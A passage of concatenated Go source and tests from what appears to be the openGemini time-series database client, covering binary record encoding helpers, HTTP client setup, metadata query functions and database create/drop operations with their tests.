210 | assert.Equal(t, 2, dst.Len)
211 | assert.Equal(t, 8, len(dst.Val))
212 | assert.Equal(t, 1, dst.NilCount)
213 | })
214 |
215 | t.Run("append string values", func(t *testing.T) {
216 | src := &ColVal{
217 | Val: []byte("test"),
218 | Len: 1,
219 | Bitmap: []byte{0xFF},
220 | Offset: []uint32{0, 4},
221 | }
222 | dst := &ColVal{}
223 | nc := &NilCount{total: 0}
224 |
225 | dst.AppendWithNilCount(src, FieldTypeString, 0, 1, nc)
226 | assert.Equal(t, 1, dst.Len)
227 | assert.Equal(t, 4, len(dst.Val))
228 | assert.Equal(t, 2, len(dst.Offset))
229 | })
230 | }
231 |
--------------------------------------------------------------------------------
/lib/record/utils.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "unsafe"
19 | )
20 |
21 | const (
22 | BooleanSizeBytes = int(unsafe.Sizeof(false))
23 | Uint32SizeBytes = int(unsafe.Sizeof(uint32(0)))
24 | Int64SizeBytes = int(unsafe.Sizeof(int64(0)))
25 | Float64SizeBytes = int(unsafe.Sizeof(float64(0)))
26 |
27 | sizeOfInt = int(unsafe.Sizeof(int(0)))
28 | sizeOfUint16 = 2
29 | sizeOfUint32 = 4
30 | MaxSliceSize = sizeOfUint32
31 | )
32 |
33 | var (
34 | typeSize = make([]int, FieldTypeLast)
35 | zeroBuf = make([]byte, 1024)
36 | )
37 |
38 | func init() {
39 | typeSize[FieldTypeInt] = Int64SizeBytes
40 | typeSize[FieldTypeFloat] = Float64SizeBytes
41 | typeSize[FieldTypeBoolean] = BooleanSizeBytes
42 | }
43 |
44 | type ExceptString interface {
45 | int64 | float64 | bool
46 | }
47 |
48 | func Bytes2str(b []byte) string {
49 | return *(*string)(unsafe.Pointer(&b))
50 | }
51 |
52 | func AppendString(b []byte, s string) []byte {
53 | b = AppendUint16(b, uint16(len(s)))
54 | b = append(b, s...)
55 | return b
56 | }
57 |
58 | // AppendUint16 appends marshaled v to dst and returns the result.
59 | func AppendUint16(dst []byte, u uint16) []byte {
60 | return append(dst, byte(u>>8), byte(u))
61 | }
62 |
63 | // AppendUint32 appends marshaled v to dst and returns the result.
64 | func AppendUint32(dst []byte, u uint32) []byte {
65 | return append(dst, byte(u>>24), byte(u>>16), byte(u>>8), byte(u))
66 | }
67 |
68 | // AppendInt64 appends marshaled v to dst and returns the result.
69 | func AppendInt64(dst []byte, v int64) []byte {
70 | // Such encoding for negative v must improve compression.
71 | v = (v << 1) ^ (v >> 63) // zig-zag encoding without branching.
72 | u := uint64(v)
73 | return append(dst, byte(u>>56), byte(u>>48), byte(u>>40), byte(u>>32), byte(u>>24), byte(u>>16), byte(u>>8), byte(u))
74 | }
75 |
76 | func AppendInt(b []byte, i int) []byte {
77 | return AppendInt64(b, int64(i))
78 | }
79 |
80 | func AppendBytes(b []byte, buf []byte) []byte {
81 | b = AppendUint32(b, uint32(len(buf)))
82 | b = append(b, buf...)
83 | return b
84 | }
85 |
86 | func AppendUint32Slice(b []byte, a []uint32) []byte {
87 | b = AppendUint32(b, uint32(len(a)))
88 | if len(a) == 0 {
89 | return b
90 | }
91 |
92 | b = append(b, Uint32Slice2byte(a)...)
93 | return b
94 | }
95 |
96 | func SizeOfString(s string) int {
97 | return len(s) + sizeOfUint16
98 | }
99 |
100 | func SizeOfUint32() int {
101 | return sizeOfUint32
102 | }
103 |
104 | func SizeOfInt() int {
105 | return sizeOfInt
106 | }
107 |
108 | func SizeOfUint32Slice(s []uint32) int {
109 | return len(s)*SizeOfUint32() + MaxSliceSize
110 | }
111 |
112 | func SizeOfByteSlice(s []byte) int {
113 | return len(s) + SizeOfUint32()
114 | }
115 |
116 | func Uint32Slice2byte(u []uint32) []byte {
117 | if len(u) == 0 {
118 | return nil
119 | }
120 | // Get pointer to the first element of uint32 slice
121 | ptr := unsafe.Pointer(unsafe.SliceData(u))
122 | // Create a new byte slice from the pointer
123 | return unsafe.Slice((*byte)(ptr), len(u)*Uint32SizeBytes)
124 | }
125 |
--------------------------------------------------------------------------------
/lib/record/utils_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package record
16 |
17 | import (
18 | "testing"
19 |
20 | "github.com/stretchr/testify/assert"
21 | )
22 |
23 | func TestBytes2str(t *testing.T) {
24 | tests := []struct {
25 | name string
26 | input []byte
27 | expected string
28 | }{
29 | {
30 | name: "empty bytes",
31 | input: []byte{},
32 | expected: "",
33 | },
34 | {
35 | name: "normal string",
36 | input: []byte("hello world"),
37 | expected: "hello world",
38 | },
39 | {
40 | name: "string with special chars",
41 | input: []byte("hello\nworld\t!"),
42 | expected: "hello\nworld\t!",
43 | },
44 | }
45 |
46 | for _, tt := range tests {
47 | t.Run(tt.name, func(t *testing.T) {
48 | result := Bytes2str(tt.input)
49 | assert.Equal(t, tt.expected, result)
50 | })
51 | }
52 | }
53 |
54 | func TestAppendString(t *testing.T) {
55 | tests := []struct {
56 | name string
57 | initial []byte
58 | str string
59 | expected []byte
60 | }{
61 | {
62 | name: "empty string to empty slice",
63 | initial: []byte{},
64 | str: "",
65 | expected: []byte{0, 0}, // length 0 as uint16 + empty string
66 | },
67 | {
68 | name: "append hello",
69 | initial: []byte{1, 2, 3},
70 | str: "hello",
71 | expected: []byte{1, 2, 3, 0, 5, 'h', 'e', 'l', 'l', 'o'},
72 | },
73 | }
74 |
75 | for _, tt := range tests {
76 | t.Run(tt.name, func(t *testing.T) {
77 | result := AppendString(tt.initial, tt.str)
78 | assert.Equal(t, tt.expected, result)
79 | })
80 | }
81 | }
82 |
83 | func TestUint32Slice2byte(t *testing.T) {
84 | tests := []struct {
85 | name string
86 | input []uint32
87 | expected int // expected length of resulting byte slice
88 | }{
89 | {
90 | name: "empty slice",
91 | input: []uint32{},
92 | expected: 0,
93 | },
94 | {
95 | name: "single uint32",
96 | input: []uint32{123},
97 | expected: 4, // 4 bytes per uint32
98 | },
99 | {
100 | name: "multiple uint32s",
101 | input: []uint32{123, 456, 789},
102 | expected: 12, // 3 * 4 bytes
103 | },
104 | }
105 |
106 | for _, tt := range tests {
107 | t.Run(tt.name, func(t *testing.T) {
108 | result := Uint32Slice2byte(tt.input)
109 | if tt.expected == 0 {
110 | assert.Nil(t, result)
111 | } else {
112 | assert.Equal(t, tt.expected, len(result))
113 | }
114 | })
115 | }
116 | }
117 |
118 | func TestAppendUint32Slice(t *testing.T) {
119 | tests := []struct {
120 | name string
121 | initial []byte
122 | slice []uint32
123 | expected int // expected length increase
124 | }{
125 | {
126 | name: "empty slice",
127 | initial: []byte{1, 2, 3},
128 | slice: []uint32{},
129 | expected: 4, // just the length field (uint32)
130 | },
131 | {
132 | name: "non-empty slice",
133 | initial: []byte{1, 2, 3},
134 | slice: []uint32{123, 456},
135 | expected: 12, // 4 (length) + 8 (2 * 4 bytes)
136 | },
137 | }
138 |
139 | for _, tt := range tests {
140 | t.Run(tt.name, func(t *testing.T) {
141 | initialLen := len(tt.initial)
142 | result := AppendUint32Slice(tt.initial, tt.slice)
143 | assert.Equal(t, initialLen+tt.expected, len(result))
144 | })
145 | }
146 | }
147 |
148 | func TestSizeCalculations(t *testing.T) {
149 | t.Run("SizeOfString", func(t *testing.T) {
150 | str := "hello"
151 | size := SizeOfString(str)
152 | assert.Equal(t, len(str)+sizeOfUint16, size)
153 | })
154 |
155 | t.Run("SizeOfUint32", func(t *testing.T) {
156 | assert.Equal(t, 4, SizeOfUint32())
157 | })
158 |
159 | t.Run("SizeOfUint32Slice", func(t *testing.T) {
160 | slice := []uint32{1, 2, 3}
161 | size := SizeOfUint32Slice(slice)
162 | assert.Equal(t, len(slice)*4+MaxSliceSize, size)
163 | })
164 |
165 | t.Run("SizeOfByteSlice", func(t *testing.T) {
166 | slice := []byte{1, 2, 3}
167 | size := SizeOfByteSlice(slice)
168 | assert.Equal(t, len(slice)+SizeOfUint32(), size)
169 | })
170 | }
171 |
172 | func TestAppendIntegers(t *testing.T) {
173 | t.Run("AppendUint16", func(t *testing.T) {
174 | initial := []byte{1, 2, 3}
175 | result := AppendUint16(initial, 258) // 258 = 0x0102
176 | expected := []byte{1, 2, 3, 1, 2}
177 | assert.Equal(t, expected, result)
178 | })
179 |
180 | t.Run("AppendUint32", func(t *testing.T) {
181 | initial := []byte{1, 2, 3}
182 | result := AppendUint32(initial, 16909060) // 16909060 = 0x01020304
183 | expected := []byte{1, 2, 3, 1, 2, 3, 4}
184 | assert.Equal(t, expected, result)
185 | })
186 |
187 | t.Run("AppendInt64", func(t *testing.T) {
188 | initial := []byte{1, 2, 3}
189 | result := AppendInt64(initial, 123)
190 | assert.Equal(t, len(initial)+8, len(result))
191 | })
192 |
193 | t.Run("AppendInt", func(t *testing.T) {
194 | initial := []byte{1, 2, 3}
195 | result := AppendInt(initial, 123)
196 | assert.Equal(t, len(initial)+8, len(result))
197 | })
198 | }
199 |
200 | func TestAppendBytes(t *testing.T) {
201 | tests := []struct {
202 | name string
203 | initial []byte
204 | bytes []byte
205 | expected int // expected length increase
206 | }{
207 | {
208 | name: "empty bytes",
209 | initial: []byte{1, 2, 3},
210 | bytes: []byte{},
211 | expected: 4, // just the length field
212 | },
213 | {
214 | name: "non-empty bytes",
215 | initial: []byte{1, 2, 3},
216 | bytes: []byte{4, 5, 6},
217 | expected: 7, // 4 (length) + 3 (data)
218 | },
219 | }
220 |
221 | for _, tt := range tests {
222 | t.Run(tt.name, func(t *testing.T) {
223 | initialLen := len(tt.initial)
224 | result := AppendBytes(tt.initial, tt.bytes)
225 | assert.Equal(t, initialLen+tt.expected, len(result))
226 | })
227 | }
228 | }
229 |
--------------------------------------------------------------------------------
/opengemini/client_impl.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "context"
19 | "errors"
20 | "log/slog"
21 | "net"
22 | "net/http"
23 | "strconv"
24 | "sync/atomic"
25 | "time"
26 |
27 | "github.com/libgox/gocollections/syncx"
28 | )
29 |
30 | type endpoint struct {
31 | url string
32 | isDown atomic.Bool
33 | }
34 |
35 | type client struct {
36 | config *Config
37 | endpoints []endpoint
38 | cli *http.Client
39 | prevIdx atomic.Int32
40 | dataChanMap syncx.Map[dbRp, chan *sendBatchWithCB]
41 | metrics *metrics
42 | rpcClient *writerClient
43 |
44 | batchContext context.Context
45 | batchContextCancel context.CancelFunc
46 |
47 | logger *slog.Logger
48 | }
49 |
50 | func newClient(c *Config) (Client, error) {
51 | if len(c.Addresses) == 0 {
52 | return nil, ErrNoAddress
53 | }
54 | if c.AuthConfig != nil {
55 | if c.AuthConfig.AuthType == AuthTypeToken && len(c.AuthConfig.Token) == 0 {
56 | return nil, ErrEmptyAuthToken
57 | }
58 | if c.AuthConfig.AuthType == AuthTypePassword {
59 | if len(c.AuthConfig.Username) == 0 {
60 | return nil, ErrEmptyAuthUsername
61 | }
62 | if len(c.AuthConfig.Password) == 0 {
63 | return nil, ErrEmptyAuthPassword
64 | }
65 | }
66 | }
67 | if c.BatchConfig != nil {
68 | if c.BatchConfig.BatchInterval <= 0 {
69 | return nil, errors.New("batch enabled, batch interval must be great than 0")
70 | }
71 | if c.BatchConfig.BatchSize <= 0 {
72 | return nil, errors.New("batch enabled, batch size must be great than 0")
73 | }
74 | }
75 | if c.Timeout <= 0 {
76 | c.Timeout = 30 * time.Second
77 | }
78 | if c.ConnectTimeout <= 0 {
79 | c.ConnectTimeout = 10 * time.Second
80 | }
81 | ctx, cancel := context.WithCancel(context.Background())
82 | dbClient := &client{
83 | config: c,
84 | endpoints: buildEndpoints(c.Addresses, c.TlsConfig != nil),
85 | cli: newHttpClient(*c),
86 | metrics: newMetricsProvider(c.CustomMetricsLabels),
87 | batchContext: ctx,
88 | batchContextCancel: cancel,
89 | }
90 | if c.Logger != nil {
91 | dbClient.logger = c.Logger
92 | } else {
93 | dbClient.logger = slog.Default()
94 | }
95 | if c.GrpcConfig != nil {
96 | rc, err := newWriterClient(c.GrpcConfig)
97 | if err != nil {
98 | return nil, errors.New("failed to create rpc client: " + err.Error())
99 | }
100 | dbClient.rpcClient = rc
101 | }
102 | dbClient.prevIdx.Store(-1)
103 | if len(c.Addresses) > 1 {
104 | // if there are multiple addresses, start the health check
105 | go dbClient.endpointsCheck(ctx)
106 | }
107 | return dbClient, nil
108 | }
109 |
110 | func (c *client) Close() error {
111 | c.batchContextCancel()
112 | c.dataChanMap.Range(func(key dbRp, cb chan *sendBatchWithCB) bool {
113 | close(cb)
114 | c.dataChanMap.Delete(key)
115 | return true
116 | })
117 | if c.rpcClient != nil {
118 | _ = c.rpcClient.Close()
119 | }
120 | c.cli.CloseIdleConnections()
121 | return nil
122 | }
123 |
124 | func buildEndpoints(addresses []Address, tlsEnabled bool) []endpoint {
125 | urls := make([]endpoint, len(addresses))
126 | protocol := "http://"
127 | if tlsEnabled {
128 | protocol = "https://"
129 | }
130 | for i, addr := range addresses {
131 | urls[i] = endpoint{url: protocol + net.JoinHostPort(addr.Host, strconv.Itoa(addr.Port))}
132 | }
133 | return urls
134 | }
135 |
136 | func newHttpClient(config Config) *http.Client {
137 | return &http.Client{
138 | Timeout: config.Timeout,
139 | Transport: &http.Transport{
140 | DialContext: (&net.Dialer{
141 | Timeout: config.ConnectTimeout,
142 | }).DialContext,
143 | MaxConnsPerHost: config.MaxConnsPerHost,
144 | MaxIdleConnsPerHost: config.MaxIdleConnsPerHost,
145 | TLSClientConfig: config.TlsConfig,
146 | },
147 | }
148 | }
149 |
--------------------------------------------------------------------------------
/opengemini/command.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import "fmt"
18 |
19 | func (c *client) ShowTagKeys(builder ShowTagKeysBuilder) (map[string][]string, error) {
20 | command, err := builder.build()
21 | if err != nil {
22 | return nil, err
23 | }
24 | base := builder.getMeasurementBase()
25 |
26 | queryResult, err := c.queryPost(Query{
27 | Database: base.database,
28 | RetentionPolicy: base.retentionPolicy,
29 | Command: command,
30 | })
31 |
32 | if err != nil {
33 | return nil, err
34 | }
35 |
36 | err = queryResult.hasError()
37 | if err != nil {
38 | return nil, fmt.Errorf("show tag keys err: %s", err)
39 | }
40 |
41 | var data = make(map[string][]string)
42 | if len(queryResult.Results) == 0 {
43 | return data, nil
44 | }
45 | for _, series := range queryResult.Results[0].Series {
46 | var tags []string
47 | for _, values := range series.Values {
48 | for _, value := range values {
49 | strVal, ok := value.(string)
50 | if !ok {
51 | continue
52 | }
53 | tags = append(tags, strVal)
54 | }
55 | }
56 | data[series.Name] = tags
57 | }
58 |
59 | return data, nil
60 | }
61 |
62 | func (c *client) ShowTagValues(builder ShowTagValuesBuilder) ([]string, error) {
63 | command, err := builder.build()
64 | if err != nil {
65 | return nil, err
66 | }
67 | base := builder.getMeasurementBase()
68 |
69 | queryResult, err := c.queryPost(Query{
70 | Database: base.database,
71 | RetentionPolicy: base.retentionPolicy,
72 | Command: command,
73 | })
74 |
75 | if err != nil {
76 | return nil, err
77 | }
78 |
79 | err = queryResult.hasError()
80 | if err != nil {
81 | return nil, fmt.Errorf("show tag value err: %s", err)
82 | }
83 |
84 | var values []string
85 | if len(queryResult.Results) == 0 {
86 | return values, nil
87 | }
88 |
89 | querySeries := queryResult.Results[0].Series
90 | for _, series := range querySeries {
91 | for _, valRes := range series.Values {
92 | if len(valRes) != 2 {
93 | return []string{}, fmt.Errorf("invalid values: %s", valRes)
94 | }
95 | if strVal, ok := valRes[1].(string); ok {
96 | values = append(values, strVal)
97 | }
98 | }
99 | }
100 |
101 | return values, nil
102 | }
103 |
104 | func (c *client) ShowFieldKeys(database string, measurements ...string) (map[string]map[string]string, error) {
105 | var measurement string
106 | if len(measurements) != 0 {
107 | measurement = measurements[0]
108 | }
109 | err := checkDatabaseName(database)
110 | if err != nil {
111 | return nil, err
112 | }
113 |
114 | var command = "SHOW FIELD KEYS"
115 | if measurement != "" {
116 | command += " FROM " + measurement
117 | }
118 |
119 | queryResult, err := c.Query(Query{Database: database, Command: command})
120 | if err != nil {
121 | return nil, err
122 | }
123 |
124 | if queryResult.hasError() != nil {
125 | return nil, queryResult.hasError()
126 | }
127 |
128 | if len(queryResult.Results) == 0 {
129 | return nil, nil
130 | }
131 |
132 | querySeries := queryResult.Results[0].Series
133 | var value = make(map[string]map[string]string, len(querySeries))
134 |
135 | for _, series := range querySeries {
136 | var kv = make(map[string]string, len(series.Values))
137 | for _, valRes := range series.Values {
138 | if len(valRes) != 2 {
139 | return nil, fmt.Errorf("invalid values: %s", valRes)
140 | }
141 | var k, v string
142 | if strVal, ok := valRes[0].(string); ok {
143 | k = strVal
144 | }
145 | if strVal, ok := valRes[1].(string); ok {
146 | v = strVal
147 | }
148 | kv[k] = v
149 | }
150 | value[series.Name] = kv
151 | }
152 | return value, nil
153 | }
154 |
155 | func (c *client) ShowSeries(builder ShowSeriesBuilder) ([]string, error) {
156 | command, err := builder.build()
157 | if err != nil {
158 | return nil, err
159 | }
160 |
161 | base := builder.getMeasurementBase()
162 |
163 | seriesResult, err := c.Query(Query{Database: base.database, RetentionPolicy: base.retentionPolicy, Command: command})
164 | if err != nil {
165 | return nil, err
166 | }
167 |
168 | err = seriesResult.hasError()
169 | if err != nil {
170 | return nil, fmt.Errorf("get series failed: %s", err)
171 | }
172 |
173 | var seriesValues = make([]string, 0, len(seriesResult.Results))
174 | if len(seriesResult.Results) == 0 {
175 | return seriesValues, nil
176 | }
177 | for _, series := range seriesResult.Results[0].Series {
178 | for _, values := range series.Values {
179 | for _, value := range values {
180 | strVal, ok := value.(string)
181 | if !ok {
182 | continue
183 | }
184 | seriesValues = append(seriesValues, strVal)
185 | }
186 | }
187 | }
188 | return seriesValues, nil
189 | }
190 |
--------------------------------------------------------------------------------
/opengemini/database.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "fmt"
19 | "strings"
20 | )
21 |
22 | func (c *client) CreateDatabase(database string) error {
23 | err := checkDatabaseName(database)
24 | if err != nil {
25 | return err
26 | }
27 |
28 | cmd := fmt.Sprintf("CREATE DATABASE \"%s\"", database)
29 | queryResult, err := c.queryPost(Query{Command: cmd})
30 | if err != nil {
31 | return err
32 | }
33 |
34 | err = queryResult.hasError()
35 | if err != nil {
36 | return fmt.Errorf("create database %w", err)
37 | }
38 |
39 | return nil
40 | }
41 |
42 | func (c *client) CreateDatabaseWithRp(database string, rpConfig RpConfig) error {
43 | err := checkDatabaseName(database)
44 | if err != nil {
45 | return err
46 | }
47 |
48 | var buf strings.Builder
49 | buf.WriteString(fmt.Sprintf("CREATE DATABASE \"%s\" WITH DURATION %s REPLICATION 1", database, rpConfig.Duration))
50 | if len(rpConfig.ShardGroupDuration) > 0 {
51 | buf.WriteString(fmt.Sprintf(" SHARD DURATION %s", rpConfig.ShardGroupDuration))
52 | }
53 | if len(rpConfig.IndexDuration) > 0 {
54 | buf.WriteString(fmt.Sprintf(" INDEX DURATION %s", rpConfig.IndexDuration))
55 | }
56 | buf.WriteString(fmt.Sprintf(" NAME %s", rpConfig.Name))
57 | queryResult, err := c.queryPost(Query{Command: buf.String()})
58 | if err != nil {
59 | return err
60 | }
61 |
62 | err = queryResult.hasError()
63 | if err != nil {
64 | return fmt.Errorf("create database with rentention policy err: %w", err)
65 | }
66 |
67 | return nil
68 | }
69 |
70 | func (c *client) ShowDatabases() ([]string, error) {
71 | var ShowDatabases = "SHOW DATABASES"
72 | queryResult, err := c.Query(Query{Command: ShowDatabases})
73 | if err != nil {
74 | return nil, err
75 | }
76 | if len(queryResult.Error) > 0 {
77 | return nil, fmt.Errorf("show datababse err: %s", queryResult.Error)
78 | }
79 | if len(queryResult.Results) == 0 || len(queryResult.Results[0].Series) == 0 {
80 | return []string{}, nil
81 | }
82 | var (
83 | values = queryResult.Results[0].Series[0].Values
84 | dbResult = make([]string, 0, len(values))
85 | )
86 |
87 | for _, v := range values {
88 | if len(v) == 0 {
89 | continue
90 | }
91 | val, ok := v[0].(string)
92 | if !ok {
93 | continue
94 | }
95 | dbResult = append(dbResult, val)
96 | }
97 | return dbResult, nil
98 | }
99 |
100 | func (c *client) DropDatabase(database string) error {
101 | err := checkDatabaseName(database)
102 | if err != nil {
103 | return err
104 | }
105 |
106 | cmd := fmt.Sprintf("DROP DATABASE \"%s\"", database)
107 | queryResult, err := c.queryPost(Query{Command: cmd})
108 | if err != nil {
109 | return err
110 | }
111 | err = queryResult.hasError()
112 | if err != nil {
113 | return fmt.Errorf("drop database %w", err)
114 | }
115 | return nil
116 | }
117 |
--------------------------------------------------------------------------------
/opengemini/database_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "testing"
19 |
20 | "github.com/stretchr/testify/require"
21 | )
22 |
23 | func TestClientCreateDatabaseSuccess(t *testing.T) {
24 | c := testDefaultClient(t)
25 | databaseName := randomDatabaseName()
26 | err := c.CreateDatabase(databaseName)
27 | require.Nil(t, err)
28 | err = c.DropDatabase(databaseName)
29 | require.Nil(t, err)
30 | }
31 |
32 | func TestClientCreateDatabaseEmptyDatabase(t *testing.T) {
33 | c := testDefaultClient(t)
34 | err := c.CreateDatabase("")
35 | require.NotNil(t, err)
36 | }
37 |
38 | func TestClientCreateDatabaseWithRpSuccess(t *testing.T) {
39 | c := testDefaultClient(t)
40 | databaseName := randomDatabaseName()
41 | err := c.CreateDatabaseWithRp(databaseName, RpConfig{Name: "test4", Duration: "1d", ShardGroupDuration: "1h", IndexDuration: "7h"})
42 | require.Nil(t, err)
43 | err = c.DropDatabase(databaseName)
44 | require.Nil(t, err)
45 | }
46 |
47 | func TestClientCreateDatabaseWithRpZeroSuccess(t *testing.T) {
48 | c := testDefaultClient(t)
49 | databaseName := randomDatabaseName()
50 | err := c.CreateDatabaseWithRp(databaseName, RpConfig{Name: "test4", Duration: "0", ShardGroupDuration: "1h", IndexDuration: "7h"})
51 | require.NotNil(t, err)
52 | }
53 |
54 | func TestClientCreateDatabaseWithRpInvalid(t *testing.T) {
55 | c := testDefaultClient(t)
56 | databaseName := randomDatabaseName()
57 | err := c.CreateDatabaseWithRp(databaseName, RpConfig{Name: "test4", Duration: "1", ShardGroupDuration: "1h", IndexDuration: "7h"})
58 | require.NotNil(t, err)
59 | }
60 |
61 | func TestClientCreateDatabaseWithRpEmptyDatabase(t *testing.T) {
62 | c := testDefaultClient(t)
63 | err := c.CreateDatabaseWithRp("", RpConfig{Name: "test4", Duration: "1h", ShardGroupDuration: "1h", IndexDuration: "7h"})
64 | require.NotNil(t, err)
65 | }
66 |
67 | func TestClientShowDatabases(t *testing.T) {
68 | c := testDefaultClient(t)
69 | _, err := c.ShowDatabases()
70 | require.Nil(t, err)
71 | }
72 |
73 | func TestClientDropDatabase(t *testing.T) {
74 | c := testDefaultClient(t)
75 | databaseName := randomDatabaseName()
76 | err := c.DropDatabase(databaseName)
77 | require.Nil(t, err)
78 | }
79 |
80 | func TestClientDropDatabaseEmptyDatabase(t *testing.T) {
81 | c := testDefaultClient(t)
82 | err := c.DropDatabase("")
83 | require.NotNil(t, err)
84 | }
85 |
86 | func TestCreateAndDropDatabaseWithSpecificSymbol(t *testing.T) {
87 | c := testDefaultClient(t)
88 | err := c.CreateDatabase("Specific-Symbol")
89 | require.Nil(t, err)
90 | err = c.DropDatabase("Specific-Symbol")
91 | require.Nil(t, err)
92 | }
93 |
--------------------------------------------------------------------------------
/opengemini/error.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import "errors"
18 |
19 | var (
20 | ErrEmptyAuthToken = errors.New("empty auth token")
21 | ErrEmptyAuthUsername = errors.New("empty auth username")
22 | ErrEmptyAuthPassword = errors.New("empty auth password")
23 | ErrEmptyDatabaseName = errors.New("empty database name")
24 | ErrEmptyMeasurement = errors.New("empty measurement")
25 | ErrEmptyCommand = errors.New("empty command")
26 | ErrEmptyTagOrField = errors.New("empty tag or field")
27 | ErrEmptyTagKey = errors.New("empty tag key")
28 | ErrNoAddress = errors.New("must have at least one address")
29 | ErrRetentionPolicy = errors.New("empty retention policy")
30 | ErrUnsupportedFieldValueType = errors.New("unsupported field value type")
31 | ErrEmptyRecord = errors.New("empty record")
32 | )
33 |
34 | // checkDatabaseName checks if the database name is empty and returns an error if it is.
35 | func checkDatabaseName(database string) error {
36 | if len(database) == 0 {
37 | return ErrEmptyDatabaseName
38 | }
39 | return nil
40 | }
41 |
42 | // checkMeasurementName checks if the measurement name is empty and returns an error if it is.
43 | func checkMeasurementName(mst string) error {
44 | if len(mst) == 0 {
45 | return ErrEmptyMeasurement
46 | }
47 | return nil
48 | }
49 |
50 | func checkDatabaseAndPolicy(database, retentionPolicy string) error {
51 | if len(database) == 0 {
52 | return ErrEmptyDatabaseName
53 | }
54 | if len(retentionPolicy) == 0 {
55 | return ErrRetentionPolicy
56 | }
57 | return nil
58 | }
59 |
60 | func checkCommand(cmd string) error {
61 | if len(cmd) == 0 {
62 | return ErrEmptyCommand
63 | }
64 | return nil
65 | }
66 |
--------------------------------------------------------------------------------
/opengemini/http.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "context"
19 | "encoding/base64"
20 | "errors"
21 | "io"
22 | "net/http"
23 | "net/url"
24 | )
25 |
26 | type requestDetails struct {
27 | queryValues url.Values
28 | header http.Header
29 | body io.Reader
30 | }
31 |
32 | func (c *client) updateAuthHeader(method, urlPath string, header http.Header) http.Header {
33 | if c.config.AuthConfig == nil {
34 | return header
35 | }
36 |
37 | if methods, ok := noAuthRequired[urlPath]; ok {
38 | if _, methodOk := methods[method]; methodOk {
39 | return header
40 | }
41 | }
42 |
43 | if header == nil {
44 | header = make(http.Header)
45 | }
46 |
47 | if c.config.AuthConfig.AuthType == AuthTypePassword {
